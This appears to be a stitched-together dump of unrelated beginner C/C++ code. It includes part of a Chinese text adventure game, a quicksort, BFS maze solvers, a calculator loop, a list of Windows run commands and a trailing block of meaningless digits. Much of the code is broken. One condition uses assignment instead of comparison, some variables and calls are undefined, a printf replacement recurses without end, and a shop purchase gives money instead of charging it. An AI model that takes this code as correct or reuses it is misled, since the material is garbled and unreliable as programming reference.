case 7: gong2n++; break; default: printf("AddWupin error\n\n\n"); } } void WhetherLevelUp() { int i=0,j=0; int l1=player.range_exp/100; int l2=player.range_exp/300; int l3=player.range_exp/600; if(player.level<=15&&l1>0) //15级以下,经验足够 都满足则升级 { if(l1==1) { printf("%s",player.name); printf(" 升级!\n\n\n攻击力+3, 防御力+2, HP上限+20\n\n\n"); player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100; player.attack+=3; player.defense+=2; player.max_health+=20; player.health=player.max_health; player.level++; player.range_exp=0; player.exp=player.max_exp; player.max_exp+=100; } else { printf("好厉害!连升%d级!",l1); printf("攻击力+%d, 防御力+%d, HP上限+%d\n\n\n",3*l1,2*l1,20*l1); player.exp=(player.exp+guai.exp) || player.exp-((player.exp+guai.exp) || player.exp)%100; player.attack+=3*l1; player.defense+=2*l1; player.max_health+=20*l1; player.health=player.max_health; player.level+=l1; player.range_exp=0; player.exp=player.max_exp; player.max_exp+=100*l1; } } else if(player.level<=40&&l2>0) { if(l2==1) { printf("%s",player.name); printf(" 升级!\n\n\n攻击力+3, 防御力+2, HP上限+20\n\n\n"); player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100; player.attack+=3; player.defense+=2; player.max_health+=20; player.health=player.max_health; player.level++; player.range_exp=0; player.exp=player.max_exp; player.max_exp+=300; } else { printf("好厉害!连升%d级!",l1); printf("攻击力+%d, 防御力+%d, HP上限+%d\n\n\n",3*l2,2*l2,20*l2); player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100; player.attack+=3*l2; player.defense+=2*l2; player.max_health+=20*l2; player.health=player.max_health; player.level+=l2; player.range_exp=0; player.exp=player.max_exp; player.max_exp+=300*l2; } } else if(l3>0) { if(l3==1) { printf("%s",player.name); printf(" 升级!\n\n\n攻击力+3, 防御力+2, HP上限+20\n\n\n"); player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100; player.attack+=3; player.defense+=2; player.max_health+=20; player.health=player.max_health; player.level++; player.range_exp=0; player.exp=player.max_exp; player.max_exp+=600; } else { printf("好厉害!连升%d级!",l1); printf("攻击力+%d, 防御力+%d, HP上限+%d\n\n\n",3*l3,2*l3,20*l3); player.exp=player.exp+guai.exp-(player.exp+guai.exp)%100; player.attack+=3*l3; player.defense+=2*l3; player.max_health+=20*l3; player.health=player.max_health; player.level+=l3; player.range_exp=0; player.exp=player.max_exp; player.max_exp+=600*l3; } } } void OrdinaryAct() //正常行为菜单(移动,物品,对话,查看状态,装备,退出游戏) { while(1) { // \(1000); // system("cls"); puts("============================================================================="); printf("要做什么?\n\n\n 1,移动 2,道具 3,对话 4,查看状态 5,装备 6,关于游戏 0,退出游戏\n\n\n"); puts("============================================================================="); switch(scanf("%d",&choose_number),choose_number) { case 1: //显示移动菜单 printf("要去哪里?\n\n\n"); printf("1,happy酒吧 2,诺亚方舟酒店 3,北朝商会 4,红玉拍卖行 5,冒险荒野\n\n\n"); switch(scanf("%d",&choose_number),choose_number) { case 1: place_sign=place.bar; //记录目前位置-酒吧 // OrdinaryAct(); break; case 2: place_sign=place.hotel; //进入旅店 printf("金币:%d",money); printf("要开房吗? 200个金币 1,是 0,否\n\n\n"); choose_number=1; switch(scanf("%d",&choose_number),choose_number) { case 1: if(money-200<0) //判断钱是否够 { printf("Sorry,你的钱不够~\n\n\n"); printf("金币:%d",money); } else { printf("好好休息\nHP满\n第二天了\n\n"); printf("金币:%d\n",money); money-=200; //花费200住店费 player.health=player.max_health; //体力满 } break; case 0: printf("下次再来!\n\n\n"); break; default: printf("hotel talk error!\n\n\n"); } place_sign=0; break; case 3: int yongju,gong,fang; printf("请问您要购买什么类型的物品?\n\n\n 1,攻击装备 2,防御装备 3,一次性伤害武器\n\n\n"); scanf("%d",&yongju); switch(yongju) { case 1: printf("请问您要购买什么武器?\n\n\n 1,匕首¥300 2,长剑¥500 3,碧血剑¥1000\n\n\n"); scanf("%d",&gong); switch(gong) { case 1: if(money>=300) { gong1n++; money=money-300; printf ("匕首+1\n"); printf("匕首:%d个\n",gong1n); printf("金币:%d\n",money); break; } else { printf("钱不够!\n"); printf("金币:%d\n",money); break; } case 2: if(money>=500) { gong2n++; money=money-500; printf ("长剑+1\n"); printf("长剑:%d个\n",gong2n); printf("金币:%d\n",money); break; } else { printf("钱不够!\n"); printf("金币:%d\n",money); break; } case 3: if(money>=1000) { gong3n++; money=money-1000; printf ("碧血剑+1\n"); printf("碧血剑:%d个\n",gong3n); printf("金币:%d\n",money); break; } else { printf("钱不够!\n"); printf("金币:%d\n",money); break; } default: printf("对不起,我们只会打造以上武器。"); break; } break; case 2: int fang; printf("请问您要购买什么防具?\n\n\n 1,布衣¥300 2,铁甲¥500 3,银甲¥1000\n\n\n"); scanf("%d",&fang); switch(fang) { case 1: if(money>=300) { fang1n++; money=money-300; printf ("布衣+1\n"); printf("布衣:%d个\n",fang1n); printf("金币:%d\n",money); } else { printf("钱不够!\n"); printf("金币:%d\n",money); } break; case 2: if(money>=500) { fang2n++; money=money-500; printf ("铁甲+1\n"); printf("铁甲:%d个\n",fang2n); printf("金币:%d\n",money); } else { printf("钱不够!\n"); printf("金币:%d",money); } break; case 3: if(money>=1000) { fang3n++; money=money-1000; printf ("银甲+1\n"); printf("银甲:%d个\n",fang3n); printf("金币:%d\n",money); } else { printf("钱不够!\n"); printf("金币:%d\n",money); } default: printf("对不起,我们只会打造以上防具。"); break; } printf("金币:%d\n",money); break; case 3: printf("请问您要购买什么一次性伤害武器?\n 1,手雷 2,毒镖 3,手抛式原子弹\n\n\n"); int yi; scanf("%d",&yi); switch(yi) { case 1: if(money>=300 && boom<5) { boom++; money=money-300; printf("手雷+1\n"); printf("手雷:%d\n",boom); printf("金币:%d\n",money); } else { printf("钱不够!\n"); printf("金币:%d",money); } break; case 2: if(money>=600 && dubiao<4) { dubiao++; money=money-600; printf("毒镖+1\n"); printf("毒镖:%d\n",dubiao); printf("金币:%d\n",money); } else { printf("钱不够!\n"); printf("金币:%d\n",money); } break; case 3: if(money>=0 && atom_boom<23333333333) { atom_boom=atom_boom+233; money=money+1500; printf("手抛式原子弹+2\n"); printf("手抛式原子弹:%d\n",atom_boom); printf("金币:%d\n",money); } else { printf("钱不够!\n\n\n"); printf("金币:%d\n",money); } break; } } break; case 4: printf ("欢迎您光临本拍卖行,请问您要卖什么东西?\n\n"); printf("攻击装备: 1,匕首:%d个 2,长剑:%d个 3,碧血剑:%d个 4,绝世好剑:%d个\n",gong1n,gong2n,gong3n,gong4n); printf("防御装备: 5,布衣:%d个 6,铁甲:%d个 7,银甲:%d个 8,黄金圣衣:%d个\n9,巨人晶石:%d个 0,返回\n\n\n",fang1n,fang2n,fang3n,fang4n,strongman_arm); int pai,shu,i; scanf("%d",&pai); switch(pai) { case 1: printf("请问您要出售几件?"); scanf("%d",&shu); if(gong1n>=shu) { gong1n=gong1n-shu; money=money+shu*240; printf("匕首:%d\n",gong1n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } break; case 2: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(gong2n>=shu) { gong2n=gong2n-shu; money=money+shu*400; printf("长剑:%d\n",gong2n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } case 3: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(gong3n>=shu) { gong3n=gong3n-shu; money=money+shu*800; printf("碧血剑:%d\n",gong3n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } case 4: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(gong4n>=shu) { gong4n=gong4n-shu; money=money+shu*1500; printf("绝世好剑:%d\n",gong4n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } case 5: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(fang1n>=shu) { fang1n=fang1n-shu; money=money+shu*240; printf("布衣:%d\n",fang1n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } case 6: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(fang2n>=shu) { fang2n=fang2n-shu; money=money+shu*500; printf("铁甲:%d\n",fang2n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } case 7: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(fang3n>=shu) { fang3n=fang3n-shu; money=money+shu*800; printf("银甲:%d\n",fang3n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } break; case 8: printf("请问您要出售几件?\n"); scanf("%d",&shu); if(fang1n>=shu) { fang4n=fang4n-shu; money=money+shu*1500; printf("黄金圣衣:%d\n",fang4n); printf("金币:%d\n",money); break; } else { printf("装备数不够,无法出售!\n"); break; } case 9: printf("请问您要出售几颗?"); scanf("%d",&shu); if(strongman_arm>=shu) { strongman_arm=strongman_arm-shu; money=money+shu*2000; printf("巨人晶石:%d\n",strongman_arm); printf("金币:%d\n",money); } else { printf("晶石数不够,无法出售!\n"); break; } break; case 0: break; break; default: printf("没有该装备,无法出售!\n"); break; } break; case 5: int yewai; while(1) { puts("============================================================================="); printf("要去哪冒险呢?"); printf("\n\n 1,神秘沼泽 危险程度:★\n\n 2,星耀草原 危险程度:★\n\n 3,诡异森林 危险程度:★★★\n\n 4,荒漠矿场 危险程度:★★★\n\n 5,炽热炎洞 危险程度:★★★★\n\n 6,花朵宫殿 危险程度:★★★★★\n\n 0,离开\n"); puts("============================================================================="); scanf("%d",&yewai); switch(yewai) { case 1: place_sign=place.forest1; s=SuiJi(); if(s<7) { battle=1; guai=xiyi; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else if(s<9) { battle=1; guai=witch; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else { printf("这里安全\n\n\n"); //不用调用OAct函数,会自动执行OAct函数; } break; case 3: place_sign=place.forest2; s=SuiJi(); if(s<7) { battle=1; guai=witch; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else if(s<9) { battle=1; guai=strongman; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else { printf("这里安全\n\n\n"); } break; case 5: place_sign=place.forest3; s=SuiJi(); if(s<7) { battle=1; guai=strongman; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else if(s<9) { battle=1; guai=big_strongman; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else { printf("这里安全\n\n\n"); } break; case 2: place_sign=place.grass1; s=SuiJi(); if(s<7) { battle=1; guai=bee; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else if(s<9) { battle=1; guai=horse; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else { printf("这里安全\n\n\n"); } break; case 4: place_sign=place.grass2; s=SuiJi(); if(s<7) { battle=1; guai=horse; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else if(s<9) { battle=1; guai=lion; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else { printf("这里安全\n\n\n"); } break; case 6: place_sign=place.grass3; s=SuiJi(); if(s<7) { battle=1; guai=lion; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else if(s<9) { battle=1; if(strongman_arm) { printf("神秘老人:\n\n\n 哈哈,年轻人,做的不错,不过...嘿嘿,你上当啦!巨人晶石我要了,公主你也别想带走!\n\n\n"); guai=shitu; printf("%s扑了过来!\n\n\n",guai.name); BattleAct(); } else printf("神秘老人:\n\n\n 年轻人,你好啊.如果你有巨人晶石,我可以告诉你公主的下落哦~\n\n\n"); } else { printf("这里安全\n\n\n"); } break; if(yewai!=0) { printf("该区域为未知区域,无法进入。\n\n\n"); break; } } if(yewai==0) { break; printf("已离开荒野。"); } } } break; case 2: ChooseWupin(); break; //显示道具,并可以使用. case 3: //对话选项 if(place_sign==place.bar) { printf("要和谁说话?\n\n\n1,红发女郎 2,赏金猎人 3,酒吧老板 4,药品商人\n\n\n"); //显示对话人物 switch(scanf("%d",&choose_number),choose_number) { case 1: printf("红发女郎:\n\n\n 吧台边那个Hunter好帅啊!(~脸红~)\n\n\n听说他经常外出打猎,外面的路他应该很熟悉的!\n\n\n"); break; case 2: if(fang1n<1&&gong1n<1) { printf("赏金猎人:\n\n\n 你要救公主啊!好胆量!\n\n\n 不过外面的世界很险恶,而且越深越危险,这是匕首和布衣,对你会有些帮助的,拿去吧!\n\n\n"); printf("%s心想:哇,这位大叔人真好啊!\n\n\n)",player.name); gong1n++; fang1n++; } else printf("赏金猎人:\n\n\n 加油吧,年轻人!\n\n\n 不要被外面世界所吓倒!\n\n\n"); break; case 3: printf("要喝点什么?\n\n\n 1,二锅头25金币 HP+20 2,XO酒80金币 HP+50 3,人头马面150金币 HP+100 0,返回\n\n\n"); choose_number=1; while(choose_number) { switch(scanf("%d",&choose_number),choose_number) { case 1: if(money<25) { printf("钱不够!"); } else { if(player.health+20<=player.max_health) { printf("HP+20."); money-=25; player.health+=20; } else { printf("HP满了"); player.health=player.max_health; } } break; case 2: if(money<80) { printf("钱不够!"); } else { if(player.health+50<=player.max_health) { printf("HP+50."); money-=80; player.health+=50; } else { printf("HP满了"); player.health=player.max_health; } } break; case 3: if(money<150) { printf("钱不够!"); } else { if(player.health+100<=player.max_health) { printf("HP+100."); money-=150; player.health+=100; } else { printf("HP满了"); player.health=player.max_health; } } break; case 0: printf("下次再来!\n"); break; default: printf("输入错误\n\n\n"); break; } break; } break; case 4: printf("你要干什么?\n\n\n 1,买东西 2,聊天 \n\n\n"); int mai; scanf("%d",&mai); if(mai==1) { printf("买点什么呢?\n1,止血草¥100 HP+60\n2,急救包¥150 HP+80 \n3,云南白药¥250 HP+120\n4,超级云南白药¥400 HP+200 \n5,经验草¥150 经验+300 \n6,经验包¥600 经验+600\n7,经验石¥500 经验+1000 \n0,拜拜\n"); int dongxi; scanf("%d",&dongxi); switch(dongxi) { case 1: if(money>=100&&cao<6) { cao++; money=money-100; printf ("止血草+1\n"); } else { printf("钱不够!\n"); } break; case 2: if(money>=150&&jijiubao<5) { jijiubao++; money=money-150; printf ("急救包+1\n"); } else { printf("钱不够!\n"); } break; case 3: if(money>=250&&baiyao<4) { baiyao++; money=money-250; printf ("云南白药+1\n"); } else { printf("钱不够!\n"); } break; case 4: if(money>=400&&superbaiyao<3) { superbaiyao++; money=money-400; printf ("超级云南白药+1\n"); } else { printf("钱不够!\n"); } break; case 5: if(money>=150) { jingyancao++; money=money-150; printf ("经验草+1\n"); } else { printf("钱不够!\n"); } break; case 6: if(money>=300) { jingyanbao++; money=money-300; printf ("经验包+1\n"); } else { printf("钱不够!\n"); } break; case 7: if(money>=500) { jingyanshi++; money=money+500; printf ("经验石+1\n"); } else { printf("钱不够!\n"); } break; } case 0: printf("金币:%d\n",money); printf("再见,欢迎下次再来!\n"); break; } if(mai==2) { printf("药品商人:去去去,老子没时间陪你聊。\n"); } } } else if(place_sign==place.hotel) printf("“老板娘!我...”\n\n\n“我忙着呢,没空理你~”\n\n\n"); else printf("这里好像没人可以聊天\n\n\n"); break; case 4: DisplayState(); break; //显示状态 case 5: //装备 printf("攻击装备: 1,匕首:%d个 2,长剑:%d个 3,碧血剑:%d个 4,绝世好剑:%d个\n\n\n",gong1n,gong2n,gong3n,gong4n); printf("防御装备: 5,布衣:%d个 6,铁甲:%d个 7,银甲:%d个 8,黄金圣衣:%d个\t\t0,返回\n\n\n",fang1n,fang2n,fang3n,fang4n); printf("选择要装备的武器或防具:\n\n\n"); switch(scanf("%d",&choose_number),choose_number) { case 1: if(gong1n>=1) { printf("拿起了匕首\n\n\n"); gong=gong1; strcpy(gongname,"匕首"); } else printf("你没有匕首可以装备\n\n\n"); break; case 2: if(gong2n>=1) { printf("拿起了长剑\n\n\n"); gong=gong2; strcpy(gongname,"长剑"); } else printf("你没有长剑可以装备\n\n\n"); break; case 3: if(gong3n>=1) { printf("拿起了碧血剑\n\n\n"); gong=gong3; strcpy(gongname,"碧血剑"); } else printf("你没有碧血剑可以装备\n\n\n"); break; case 4: if(gong4n>=1) { printf("拿起了绝世好剑\n\n\n"); gong=gong4; strcpy(gongname,"绝世好剑"); } else printf("你没有绝世好剑可以装备\n\n\n"); break; case 5: if(fang1n>=1) { printf("穿上了布衣\n\n\n"); fang=fang1; strcpy(fangname,"布衣"); } else printf("你没有布衣可以装备\n\n\n"); break; case 6: if(fang2>=1) { printf("穿上了铁甲\n\n\n"); fang=fang2; strcpy(fangname,"铁甲"); } else printf("你没有铁甲可以装备\n\n\n"); break; case 7: if(fang3n>=1) { printf("穿上了银甲\n\n\n"); fang=fang3; strcpy(fangname,"银甲"); } else printf("你没有银甲可以装备\n\n\n"); break; case 8: if(fang4n>=1) { printf("穿上了黄金圣衣\n\n\n"); fang=fang4; strcpy(fangname,"黄金圣衣"); } else printf("你没有黄金圣衣可以装备\n\n\n"); break; case 0: printf("未更换装备\n\n\n"); break; default: printf("change error!"); } break; case 6: printf(" 您好,欢迎您玩苍穹世界。为了给您更好的游戏体验,本团队时不时会优化本游戏,优化后会尽快发布在网上。关于外挂方面,开启外挂的方式是设定勇者姓名时,输入“圣战斗士 ”(不包括双引号)。由于2.0版本的buy,我们在2.0的基础上进行修改,已修复该buy。并且新增了经验草等有助于升级的道具,希望大家喜欢。在这里要感谢离陌同学,他给了我们许多宝贵的建议,谢谢。\n"); break; case 0: printf("确定退出游戏?(Y/N)\n\n\n"); getchar(); proof=getchar(); if(proof=='y'||proof=='Y') { printf("数据存储中..."); //向文件中更新数据; getchar(); printf("按回车退出"); getchar(); return; } else if(proof=='n'||proof=='N')printf("继续游戏!\n\n\n"); else printf("继续!\n\n\n"); break; default: printf("输入错误!\n\n\n"); } } } void DisplayState() { printf("%s 攻击力:%d+%d=%d 防御力:%d+%d=%d HP:%d/%d \n\n\n",player.name,player.attack,gong,player.attack+gong,player.defense,fang,player.defense+fang,player.health,player.max_health); printf("武器: %s 防具: %s \n\n\n",gongname,fangname); printf("等级:%d 经验:%d/%d 还需要%d经验升级 金币:%d \n\n\n",player.level,player.exp,player.max_exp,player.max_exp-player.exp,money); } void BattleAct() { while(1) { puts("============================================================================="); printf("要怎么办?\n\n\n 1,攻击 2,物品 3,查看状态 4,逃跑\n\n\n"); switch(scanf("%d",&choose_number),choose_number) { case 1: s=SuiJi(); printf("%s攻击! %sHP减少%d\n\n\n",player.name,guai.name,player.attack+s+gong-guai.defense/3); guai.health-=player.attack+s+gong-guai.defense/3; if(AttackResult())return; //如果攻击有结果(敌人或玩家战死)退出函数 else continue; case 2: ChooseWupin(); break; //选择物品,可以使用,战斗中允许使用攻击性物品 case 3: DisplayState(); break; //显示状态 case 4: s=SuiJi(); if(s<4) //40%的概率可以逃跑 { printf("%s逃跑了~\n\n\n",player.name); battle=0; return; } else printf("%s逃跑失败!\n\n\n",player.name); break; default: printf("输入错误,重新输入!\n\n\n"); } } } void printf(char *p) { while(1) { if(*p!=0) printf("%c",*p++); else break; Sleep(100); } }
/* 1.系统图标 错误 MB_ICONHAND, MB_ICONSTOP, MB_ICONERROR 询问 MB_ICONQUESTION 警告 MB_ICONEXCLAMATION ,MB_ICONWARNING 信息 MB_ICONASTERISK , MB_ICONINFORMATION 2. 按钮信息 MB_OK 一个确定按钮 MB_OKCANCEL 一个确定按钮,一个取消按钮 MB_ABORTRETRYIGNORE 一个异常终止按钮,一个重试按钮,一个忽略按钮 MB_YESNOCANCEL 一个是按钮,一个否按钮,一个取消按钮 MB_YESNO 一个是钮,一个否按钮 MB_RETRYCANCEL 一个重试按钮,一个取消按钮 */
#include<bits/stdc++.h> using namespace std; void qsort(int arr[],int left,int right){ if(left>=right){ return; } int mid=(left+right)/2; swap(arr[mid],arr[right]); int i=left,j=right-1; while(i<=j){ while(arr[i]<arr[right]){ i++; } while(arr[j]>arr[right]){ j--; } if(i<=j){ swap(arr[i],arr[j]); i++; j--; } } swap(arr[i],arr[right]); qsort(arr,left,i-1); qsort(arr,i+1,right); } int main(){ int n; int arr[101]; cin>>n; for(int i=1;i<=n;i++){ cin>>arr[i]; } qsort(arr,1,n); for(int i=1;i<=n;i++){ cout<<arr[i]<<" "; } return 0; }
//水仙花数 #include<bits/stdc++.h> using namespace std; int main(){ for(int i=1;i<=9;i++){ for(int j=0;j<=9;j++){ for(int k=0;k<=9;k++){ if(i*i*i+j*j*j+k*k*k=i*100+j*10+k){ cout<<i*100+j*10+k<<endl; } } } } return 0; }
#include<bits/stdc++.h> using namespace std; int n,cnt,sum=0,arr[10001]; int main(){ cin>>n; for(int i=1;i<=n;i++){ cin>>arr[i]; } for(int i=1;i<=n;i++){ cnt=1; int left=i-1,right=i+1; while(left>=1&&arr[left]>=arr[left+1]){ left--; cnt++; } while(right<=n&&arr[right]>=arr[right-1]){ right++; cnt++; } sum=max(sum,arr[i]*cnt); } cout<<sum; return 0; }
//复制版
#include<bits/stdc++.h> using namespace std; int queue[101]; int head=0,tail=0; void push(int num){ queue[++tail]=num; } void pop(){ head++; } int frout(){ return queue[head+1]; } int back(){ return queue[tail]; } int size(){ return tail-head; } bool empty(){ return head==tail; } int main(){ return 0; }
//BFS #include<bits/stdc++.h> using namespace std; int n,m; //迷宫大小 char arr[101][101]; //迷宫数组 bool flag[101][101]; //标记数组是否走过 int step[101][101]; //走到这的步数 int tx[4]={-1,1,0,0}; //四个方向上x值的变化 int ty[4]={0,0,1,-1}; //四个方向上y值的变化 struct pos{ //用结构体记录x值y值 int x,y; //位置坐标 }begin,end; //起点和终点 void bfs(){ //广度优先搜索函数 queue<pos> q; //队列记录每个位置的坐标 q.push(begin); //加入起点位置 step[begin.x][begin.y]=0; //第一步为0 while(!q.empty()){ //队列非空时继续搜素 pos temp=front(); //访问当前位置 for(int i=0;i<=3;i++){ //搜四个方向 int nx=temp.x+tx[i]; //temp的x值 int ny=temp.y+ty[i]; //temp的y值 if(arr[nx][ny]=='.'&&flag[nx][ny]==0){ //有路且可以走 if(nx>=1&&nx<=n&&ny>=1&&ny<=m){ //位置在不在迷宫里 flag[nx][ny]=1; //位置已近访问 pos newpos; //新的位置 newpos.x=nx; //新的位置的x newpos.y=ny; //新的位置的y q.push(newpos); //加入新的位置 step[nx][ny]=step[temp.x][temp.y]+1;//记录步数 if(nx==end.x&&ny==end.y){ cout<<step[nx][ny]<<endl; return; } } } } q.pop(); //删除队首或当前位置 } } int main(){ cin>>n>>m; for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ cin>>arr[i][j]; if(arr[i][j]=='S'){ //起点位置 begin.x=i; begin.y=j; } if(arr[i][j]=='T'){ //终点位置 end.x=i; end.y=j; } } } bfs(); return 0; }
#include<bits/stdc++.h> using namespace std; int n,m; char arr[101][101]; bool flag[101][101]; int step[101][101]; int tx[4]={-1,1,0,0}; int ty[4]={0,0,1,-1}; struct pos{ int x,y; }ks,js; void bfs(){ queue<pos> q; q.push(ks); step[ks.x][ks.y]=0; while(!q.empty()){ pos temp=q.front(); for(int i=0;i<=3;i++){ int nx=temp.x+tx[i]; int ny=temp.y+ty[i]; if(arr[nx][ny]!='#'&&flag[nx][ny]==0){ if(nx>=1&&nx<=n&&ny>=1&&ny<=m){ flag[nx][ny]=1; pos newpos; newpos.x=nx; newpos.y=ny; q.push(newpos); step[nx][ny]=step[temp.x][temp.y]+1; if(nx==js.x&&ny==js.y){ return; } } } } q.pop(); } } int main(){ cin>>n>>m; for(int i=1;i<=n;i++){ for(int j=1;j<=m;j++){ cin>>arr[i][j]; if(arr[i][j]=='S'){ ks.x=i; ks.y=j; } if(arr[i][j]=='E'){ js.x=i; js.y=j; } } } bfs(); cout<<step[js.x][js.y]<<endl; return 0; }
#include<bits/stdc++.h> using namespace std; int n,m,flag; int main(){ while(true){ cin>>n>>m; system("cls"); cout<<setw(10)<<n<<setw(10)<<"^="<<setw(10)<<n*n<<endl; cout<<setw(10)<<m<<setw(10)<<"^="<<setw(10)<<m*m<<endl; cout<<setw(10)<<n<<setw(10)<<"+"<<setw(10)<<m<<"="<<setw(10)<<n+m<<endl; cout<<setw(10)<<n<<setw(10)<<"-"<<setw(10)<<m<<"="<<setw(10)<<n-m<<endl; cout<<setw(10)<<n<<setw(10)<<"*"<<setw(10)<<m<<"="<<setw(10)<<n*m<<endl; cout<<setw(10)<<n<<setw(10)<<"/"<<setw(10)<<m<<"="<<setw(10)<<n/m<<endl; cout<<setw(10)<<n<<setw(10)<<"%"<<setw(10)<<m<<"="<<setw(10)<<n%m<<endl; cout<<setw(10)<<n<<setw(10)<<"/"<<setw(10)<<m<<"="<<setw(10)<<n/m<<endl; } return 0; }
#include<bits/stdc++.h> using namespace std; int n,m,flag; int main(){ while(true){ cin>>n>>m; system("cls"); cout<<setw(10)<<n<<setw(10); cout<<"^="<<setw(10)<<nn<<endl; cout<<setw(10)<<m<<setw(10); cout<<"^="<<setw(10)<<mm<<endl; cout<<setw(10)<<n<<setw(10); cout<<"+"<<setw(10)<<m<<"="<<setw(10)<<n+m<<endl; cout<<setw(10)<<n<<setw(10); cout<<"-"<<setw(10)<<m<<"="<<setw(10)<<n-m<<endl; cout<<setw(10)<<n<<setw(10); cout<<""<<setw(10)<<m<<"="<<setw(10)<<nm<<endl; cout<<setw(10)<<n<<setw(10); cout<<"/"<<setw(10)<<m<<"="<<setw(10)<<n/m<<endl; cout<<setw(10)<<n<<setw(10); cout<<"%"<<setw(10)<<m<<"="<<setw(10)<<n%m<<endl; cout<<setw(10)<<n<<setw(10); cout<<"/"<<setw(10)<<m<<"="<<setw(10)<<n/m<<endl; } return 0; }
三、Windows CMD命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. shutdown-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll文件运行 24. drwtsn32------ 系统医生 25. rononce -p----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况 31. regedit.exe----注册表 32. winchat--------XP自带局域网聊天 33. progman--------程序管理器 34. winmsd---------系统信息 35. perfmon.msc----计算机性能监测程序 36. winver---------检查Windows版本 37. sfc /scannow-----扫描错误并复原 38. taskmgr-----任务管理器(2000/xp/2003 39. wmimgmt.msc----打开windows管理体系结构(WMI) 40. wupdmgr--------windows更新程序 41. wscript--------windows脚本宿主设置 42. write----------写字板 43. wiaacmgr-------扫描仪和照相机向导 44. winchat--------XP自带局域网聊天 45. mplayer2-------简易widnows media player 46. mspaint--------画图板 47. mstsc----------远程桌面连接 48. magnify--------放大镜实用程序 49. mmc------------打开控制台 50. mobsync--------同步命令 51. iexpress-------木马捆绑工具,系统自带 52. fsmgmt.msc-----共享文件夹管理器 53. utilman--------辅助工具管理器 54. dcomcnfg-------打开系统组件服务 55. ddeshare-------打开DDE共享设置 56. osk------------打开屏幕键盘 57. odbcad32-------ODBC数据源管理器 58. oobe/msoobe /a----检查XP是否激活 59. ntbackup-------系统备份和还原 60. narrator-------屏幕“讲述人” 61. ntmsmgr.msc----移动存储管理器 62. ntmsoprq.msc---移动存储管理员操作请求 63. netstat -an----(TC)命令检查接口 64. syncapp--------创建一个公文包 65. sysedit--------系统配置编辑器 66. sigverif-------文件签名验证程序 67. ciadv.msc------索引服务程序 68. shrpubw--------创建共享文件夹 69. secpol.msc-----本地安全策略 70. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 71. services.msc---本地服务设置 72. Sndvol32-------音量控制程序 73. sfc.exe--------系统文件检查器 74. sfc /scannow---windows文件保护 75. ciadv.msc------索引服务程序 76. tourstart------xp简介(安装完成后出现的漫游xp程序) 77. taskmgr--------任务管理器 78. eventvwr-------事件查看器 79. eudcedit-------造字程序 80. compmgmt.msc---计算机管理 81. packager-------对象包装程序 82. perfmon.msc----计算机性能监测程序 83. charmap--------启动字符映射表 84. cliconfg-------SQL SERVER 客户端网络实用程序 85. Clipbrd--------剪贴板查看器 86. conf-----------启动netmeeting 87. certmgr.msc----证书管理实用程序 88. regsvr32 /u *.dll----停止dll文件运行 89. regsvr32 /u zipfldr.dll------取消ZIP支持 90. cmd.exe--------CMD命令提示符
1231002683158252220511665010686578868671745561301910211397174807972667870839132023243310841461239412152624149926341431313033511012316513220263316134303167193164183178264296211291183234244317221131142103157352931711931132263163142892102541231222642942553178219315333641715326422110133122163131221313126431512643155313931593124100124833868657880123200312810319914010411752370236023501000131031922371210130121031922370236023701031972370100237010319723701002370103196324402370100237010319723701002370103197237010023701031972370100228010315800102292370101723702360103160001022723702360235013014121012237023602350324501031401413102442370236000100130100130241023702360103142241141000010241237023600010122200101213023703245010314200101324101024123702360013101213132370103159241010228237023600025201015220010315900100241010228237010122200101301210315100101724101012241010228237010150151031572410101224100010226237023601012018103152001014241010122410102262370236010180131031600121022523701003245010317000241121022423701031732410102252270228010317224101021524114103180001021324116101332450100001031402411510225241151019241210103133219002421017018101601224101031332190024210170151017014241010313321900031780324400143178032440014317803244001431780324400143178032440014317803244001431780324400131003178032440001013317803244010143178032440101201231780324400024702410103133219010192411710